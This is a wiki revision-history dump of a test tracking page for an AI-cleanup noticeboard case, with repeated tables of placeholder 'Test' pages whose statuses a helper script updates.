{{AIC article row|article=Test1 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 2Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test3 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 4Page 817876|status=ongoing|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 5Page 817876|status=tagged|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test6 Page 817876|status=ongoing|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test7 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 8Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 9Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test10 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 11Page 817876|status=ongoing|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 12Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test13 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test14 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
}}
96izllabr4qr6ecezf0u7ifritoy78h
768301
768300
2026-10-13T16:46:45Z
DVRTed
55993
Updated row for [[Test 8Page 817876]] (using [[User:DVRTed/AINB-helper|AINB-helper]])
768301
wikitext
text/x-wiki
{{AINB case banner |llmprod=undetermined |case_name=DVRTed |original_file_date=6 October 2026 |case_type=user |cleanup=analysis |conduct=review}}
== Discussion ==
{{Userlinks|DVRTed}}
This is a case! [[User:DVRTed|DVRTed]] ([[User talk:DVRTed|talk]]) 03:02, 6 October 2026 (UTC)
== Cleanup ==
{{InfoCard|content='''Tracker detail'''
* User: {{Userlinks|1=DVRTed}}
* Start date: 2022-12-01
* End date: 2026-10-07}}
{{AIC article list|
{{AIC article row|article=BS Nymph|status=requested|notes=22 edits: [[Special:Diff/765391|(+5)]] [[Special:Diff/762815|(+330)]] [[Special:Diff/762814|(-2679)]] [[Special:Diff/762811|(+88)]] [[Special:Diff/762776|(+331)]] [[Special:Diff/762774|(+90)]] [[Special:Diff/762772|(+283)]] [[Special:Diff/762716|(+88)]] [[Special:Diff/762713|(+88)]] [[Special:Diff/762710|(+88)]] [[Special:Diff/762707|(+318)]] [[Special:Diff/762691|(+318)]] [[Special:Diff/762688|(+88)]] [[Special:Diff/762686|(+318)]] [[Special:Diff/762684|(+88)]] [[Special:Diff/762682|(+88)]] [[Special:Diff/762681|(+88)]] [[Special:Diff/762678|(+318)]] [[Special:Diff/762677|(-88)]] [[Special:Diff/762676|(+88)]] [[Special:Diff/759773|(-85)]] [[Special:Diff/759772|(+85)]]}}
{{AIC article row|article=Test1 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 2Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test3 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 4Page 817876|status=ongoing|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 5Page 817876|status=tagged|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test6 Page 817876|status=ongoing|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test7 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 8Page 817876|status=tagged|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 9Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test10 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 11Page 817876|status=ongoing|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 12Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test13 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test14 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
}}
aqud6eph53oze181tdbpwk2w2h0w083
768302
768301
2026-10-13T16:46:51Z
DVRTed
55993
Updated row for [[Test 9Page 817876]] (using [[User:DVRTed/AINB-helper|AINB-helper]])
768302
wikitext
text/x-wiki
{{AINB case banner |llmprod=undetermined |case_name=DVRTed |original_file_date=6 October 2026 |case_type=user |cleanup=analysis |conduct=review}}
== Discussion ==
{{Userlinks|DVRTed}}
This is a case! [[User:DVRTed|DVRTed]] ([[User talk:DVRTed|talk]]) 03:02, 6 October 2026 (UTC)
== Cleanup ==
{{InfoCard|content='''Tracker detail'''
* User: {{Userlinks|1=DVRTed}}
* Start date: 2022-12-01
* End date: 2026-10-07}}
{{AIC article list|
{{AIC article row|article=BS Nymph|status=requested|notes=22 edits: [[Special:Diff/765391|(+5)]] [[Special:Diff/762815|(+330)]] [[Special:Diff/762814|(-2679)]] [[Special:Diff/762811|(+88)]] [[Special:Diff/762776|(+331)]] [[Special:Diff/762774|(+90)]] [[Special:Diff/762772|(+283)]] [[Special:Diff/762716|(+88)]] [[Special:Diff/762713|(+88)]] [[Special:Diff/762710|(+88)]] [[Special:Diff/762707|(+318)]] [[Special:Diff/762691|(+318)]] [[Special:Diff/762688|(+88)]] [[Special:Diff/762686|(+318)]] [[Special:Diff/762684|(+88)]] [[Special:Diff/762682|(+88)]] [[Special:Diff/762681|(+88)]] [[Special:Diff/762678|(+318)]] [[Special:Diff/762677|(-88)]] [[Special:Diff/762676|(+88)]] [[Special:Diff/759773|(-85)]] [[Special:Diff/759772|(+85)]]}}
{{AIC article row|article=Test1 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 2Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test3 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 4Page 817876|status=ongoing|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 5Page 817876|status=tagged|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test6 Page 817876|status=ongoing|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test7 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 8Page 817876|status=tagged|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 9Page 817876|status=unnecessary|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test10 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 11Page 817876|status=ongoing|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 12Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test13 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test14 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
}}
q699725i3rqw83qyfapa4611jdperrw
768304
768302
2026-10-13T16:48:52Z
DVRTed
55993
Updated row for [[Test 11Page 817876]] (using [[User:DVRTed/AINB-helper|AINB-helper]])
768304
wikitext
text/x-wiki
{{AINB case banner |llmprod=undetermined |case_name=DVRTed |original_file_date=6 October 2026 |case_type=user |cleanup=analysis |conduct=review}}
== Discussion ==
{{Userlinks|DVRTed}}
This is a case! [[User:DVRTed|DVRTed]] ([[User talk:DVRTed|talk]]) 03:02, 6 October 2026 (UTC)
== Cleanup ==
{{InfoCard|content='''Tracker detail'''
* User: {{Userlinks|1=DVRTed}}
* Start date: 2022-12-01
* End date: 2026-10-07}}
{{AIC article list|
{{AIC article row|article=BS Nymph|status=requested|notes=22 edits: [[Special:Diff/765391|(+5)]] [[Special:Diff/762815|(+330)]] [[Special:Diff/762814|(-2679)]] [[Special:Diff/762811|(+88)]] [[Special:Diff/762776|(+331)]] [[Special:Diff/762774|(+90)]] [[Special:Diff/762772|(+283)]] [[Special:Diff/762716|(+88)]] [[Special:Diff/762713|(+88)]] [[Special:Diff/762710|(+88)]] [[Special:Diff/762707|(+318)]] [[Special:Diff/762691|(+318)]] [[Special:Diff/762688|(+88)]] [[Special:Diff/762686|(+318)]] [[Special:Diff/762684|(+88)]] [[Special:Diff/762682|(+88)]] [[Special:Diff/762681|(+88)]] [[Special:Diff/762678|(+318)]] [[Special:Diff/762677|(-88)]] [[Special:Diff/762676|(+88)]] [[Special:Diff/759773|(-85)]] [[Special:Diff/759772|(+85)]]}}
{{AIC article row|article=Test1 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 2Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test3 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 4Page 817876|status=ongoing|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 5Page 817876|status=tagged|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test6 Page 817876|status=ongoing|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test7 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 8Page 817876|status=tagged|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 9Page 817876|status=unnecessary|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test10 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 11Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 12Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test13 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test14 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
}}
aeo8zu0ydycxd70axn971g8fpc5l48f
768305
768304
2026-10-13T16:49:54Z
DVRTed
55993
Updated row for [[Test 9Page 817876]] (using [[User:DVRTed/AINB-helper|AINB-helper]])
768305
wikitext
text/x-wiki
{{AINB case banner |llmprod=undetermined |case_name=DVRTed |original_file_date=6 October 2026 |case_type=user |cleanup=analysis |conduct=review}}
== Discussion ==
{{Userlinks|DVRTed}}
This is a case! [[User:DVRTed|DVRTed]] ([[User talk:DVRTed|talk]]) 03:02, 6 October 2026 (UTC)
== Cleanup ==
{{InfoCard|content='''Tracker detail'''
* User: {{Userlinks|1=DVRTed}}
* Start date: 2022-12-01
* End date: 2026-10-07}}
{{AIC article list|
{{AIC article row|article=BS Nymph|status=requested|notes=22 edits: [[Special:Diff/765391|(+5)]] [[Special:Diff/762815|(+330)]] [[Special:Diff/762814|(-2679)]] [[Special:Diff/762811|(+88)]] [[Special:Diff/762776|(+331)]] [[Special:Diff/762774|(+90)]] [[Special:Diff/762772|(+283)]] [[Special:Diff/762716|(+88)]] [[Special:Diff/762713|(+88)]] [[Special:Diff/762710|(+88)]] [[Special:Diff/762707|(+318)]] [[Special:Diff/762691|(+318)]] [[Special:Diff/762688|(+88)]] [[Special:Diff/762686|(+318)]] [[Special:Diff/762684|(+88)]] [[Special:Diff/762682|(+88)]] [[Special:Diff/762681|(+88)]] [[Special:Diff/762678|(+318)]] [[Special:Diff/762677|(-88)]] [[Special:Diff/762676|(+88)]] [[Special:Diff/759773|(-85)]] [[Special:Diff/759772|(+85)]]}}
{{AIC article row|article=Test1 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 2Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test3 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 4Page 817876|status=ongoing|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 5Page 817876|status=tagged|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test6 Page 817876|status=ongoing|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test7 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 8Page 817876|status=tagged|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 9Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test10 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 11Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 12Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test13 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test14 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
}}
lm2vb5gvyh4aozyn3boqi7sw7xrjhck
768306
768305
2026-10-13T16:50:35Z
DVRTed
55993
Updated row for [[Test 8Page 817876]] (using [[User:DVRTed/AINB-helper|AINB-helper]])
768306
wikitext
text/x-wiki
{{AINB case banner |llmprod=undetermined |case_name=DVRTed |original_file_date=6 October 2026 |case_type=user |cleanup=analysis |conduct=review}}
== Discussion ==
{{Userlinks|DVRTed}}
This is a case! [[User:DVRTed|DVRTed]] ([[User talk:DVRTed|talk]]) 03:02, 6 October 2026 (UTC)
== Cleanup ==
{{InfoCard|content='''Tracker detail'''
* User: {{Userlinks|1=DVRTed}}
* Start date: 2022-12-01
* End date: 2026-10-07}}
{{AIC article list|
{{AIC article row|article=BS Nymph|status=requested|notes=22 edits: [[Special:Diff/765391|(+5)]] [[Special:Diff/762815|(+330)]] [[Special:Diff/762814|(-2679)]] [[Special:Diff/762811|(+88)]] [[Special:Diff/762776|(+331)]] [[Special:Diff/762774|(+90)]] [[Special:Diff/762772|(+283)]] [[Special:Diff/762716|(+88)]] [[Special:Diff/762713|(+88)]] [[Special:Diff/762710|(+88)]] [[Special:Diff/762707|(+318)]] [[Special:Diff/762691|(+318)]] [[Special:Diff/762688|(+88)]] [[Special:Diff/762686|(+318)]] [[Special:Diff/762684|(+88)]] [[Special:Diff/762682|(+88)]] [[Special:Diff/762681|(+88)]] [[Special:Diff/762678|(+318)]] [[Special:Diff/762677|(-88)]] [[Special:Diff/762676|(+88)]] [[Special:Diff/759773|(-85)]] [[Special:Diff/759772|(+85)]]}}
{{AIC article row|article=Test1 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 2Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test3 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 4Page 817876|status=ongoing|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 5Page 817876|status=tagged|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test6 Page 817876|status=ongoing|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test7 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 8Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 9Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test10 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 11Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 12Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test13 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test14 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
}}
or5atdmp27ifgkxexdxpl7haoef9kb8
768307
768306
2026-10-13T16:51:15Z
DVRTed
55993
Updated row for [[Test 5Page 817876]] (using [[User:DVRTed/AINB-helper|AINB-helper]])
768307
wikitext
text/x-wiki
{{AINB case banner |llmprod=undetermined |case_name=DVRTed |original_file_date=6 October 2026 |case_type=user |cleanup=analysis |conduct=review}}
== Discussion ==
{{Userlinks|DVRTed}}
This is a case! [[User:DVRTed|DVRTed]] ([[User talk:DVRTed|talk]]) 03:02, 6 October 2026 (UTC)
== Cleanup ==
{{InfoCard|content='''Tracker detail'''
* User: {{Userlinks|1=DVRTed}}
* Start date: 2022-12-01
* End date: 2026-10-07}}
{{AIC article list|
{{AIC article row|article=BS Nymph|status=requested|notes=22 edits: [[Special:Diff/765391|(+5)]] [[Special:Diff/762815|(+330)]] [[Special:Diff/762814|(-2679)]] [[Special:Diff/762811|(+88)]] [[Special:Diff/762776|(+331)]] [[Special:Diff/762774|(+90)]] [[Special:Diff/762772|(+283)]] [[Special:Diff/762716|(+88)]] [[Special:Diff/762713|(+88)]] [[Special:Diff/762710|(+88)]] [[Special:Diff/762707|(+318)]] [[Special:Diff/762691|(+318)]] [[Special:Diff/762688|(+88)]] [[Special:Diff/762686|(+318)]] [[Special:Diff/762684|(+88)]] [[Special:Diff/762682|(+88)]] [[Special:Diff/762681|(+88)]] [[Special:Diff/762678|(+318)]] [[Special:Diff/762677|(-88)]] [[Special:Diff/762676|(+88)]] [[Special:Diff/759773|(-85)]] [[Special:Diff/759772|(+85)]]}}
{{AIC article row|article=Test1 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 2Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test3 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 4Page 817876|status=ongoing|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 5Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test6 Page 817876|status=ongoing|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test7 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 8Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 9Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test10 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 11Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 12Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test13 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test14 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
}}
3sfugp8pm3ojahvuba2byrwjppdgn8f
768308
768307
2026-10-13T16:51:21Z
DVRTed
55993
Updated row for [[Test 5Page 817876]] (using [[User:DVRTed/AINB-helper|AINB-helper]])
768308
wikitext
text/x-wiki
{{AINB case banner |llmprod=undetermined |case_name=DVRTed |original_file_date=6 October 2026 |case_type=user |cleanup=analysis |conduct=review}}
== Discussion ==
{{Userlinks|DVRTed}}
This is a case! [[User:DVRTed|DVRTed]] ([[User talk:DVRTed|talk]]) 03:02, 6 October 2026 (UTC)
== Cleanup ==
{{InfoCard|content='''Tracker detail'''
* User: {{Userlinks|1=DVRTed}}
* Start date: 2022-12-01
* End date: 2026-10-07}}
{{AIC article list|
{{AIC article row|article=BS Nymph|status=requested|notes=22 edits: [[Special:Diff/765391|(+5)]] [[Special:Diff/762815|(+330)]] [[Special:Diff/762814|(-2679)]] [[Special:Diff/762811|(+88)]] [[Special:Diff/762776|(+331)]] [[Special:Diff/762774|(+90)]] [[Special:Diff/762772|(+283)]] [[Special:Diff/762716|(+88)]] [[Special:Diff/762713|(+88)]] [[Special:Diff/762710|(+88)]] [[Special:Diff/762707|(+318)]] [[Special:Diff/762691|(+318)]] [[Special:Diff/762688|(+88)]] [[Special:Diff/762686|(+318)]] [[Special:Diff/762684|(+88)]] [[Special:Diff/762682|(+88)]] [[Special:Diff/762681|(+88)]] [[Special:Diff/762678|(+318)]] [[Special:Diff/762677|(-88)]] [[Special:Diff/762676|(+88)]] [[Special:Diff/759773|(-85)]] [[Special:Diff/759772|(+85)]]}}
{{AIC article row|article=Test1 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 2Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test3 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 4Page 817876|status=ongoing|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 5Page 817876|status=ongoing|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test6 Page 817876|status=ongoing|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test7 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 8Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 9Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test10 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 11Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 12Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test13 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test14 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
}}
d73jgyupts3it8b3xw8exhr760upvrb
768309
768308
2026-10-13T16:51:33Z
DVRTed
55993
Updated row for [[Test 5Page 817876]] (using [[User:DVRTed/AINB-helper|AINB-helper]])
768309
wikitext
text/x-wiki
{{AINB case banner |llmprod=undetermined |case_name=DVRTed |original_file_date=6 October 2026 |case_type=user |cleanup=analysis |conduct=review}}
== Discussion ==
{{Userlinks|DVRTed}}
This is a case! [[User:DVRTed|DVRTed]] ([[User talk:DVRTed|talk]]) 03:02, 6 October 2026 (UTC)
== Cleanup ==
{{InfoCard|content='''Tracker detail'''
* User: {{Userlinks|1=DVRTed}}
* Start date: 2022-12-01
* End date: 2026-10-07}}
{{AIC article list|
{{AIC article row|article=BS Nymph|status=requested|notes=22 edits: [[Special:Diff/765391|(+5)]] [[Special:Diff/762815|(+330)]] [[Special:Diff/762814|(-2679)]] [[Special:Diff/762811|(+88)]] [[Special:Diff/762776|(+331)]] [[Special:Diff/762774|(+90)]] [[Special:Diff/762772|(+283)]] [[Special:Diff/762716|(+88)]] [[Special:Diff/762713|(+88)]] [[Special:Diff/762710|(+88)]] [[Special:Diff/762707|(+318)]] [[Special:Diff/762691|(+318)]] [[Special:Diff/762688|(+88)]] [[Special:Diff/762686|(+318)]] [[Special:Diff/762684|(+88)]] [[Special:Diff/762682|(+88)]] [[Special:Diff/762681|(+88)]] [[Special:Diff/762678|(+318)]] [[Special:Diff/762677|(-88)]] [[Special:Diff/762676|(+88)]] [[Special:Diff/759773|(-85)]] [[Special:Diff/759772|(+85)]]}}
{{AIC article row|article=Test1 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 2Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test3 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 4Page 817876|status=ongoing|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 5Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test6 Page 817876|status=ongoing|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test7 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 8Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
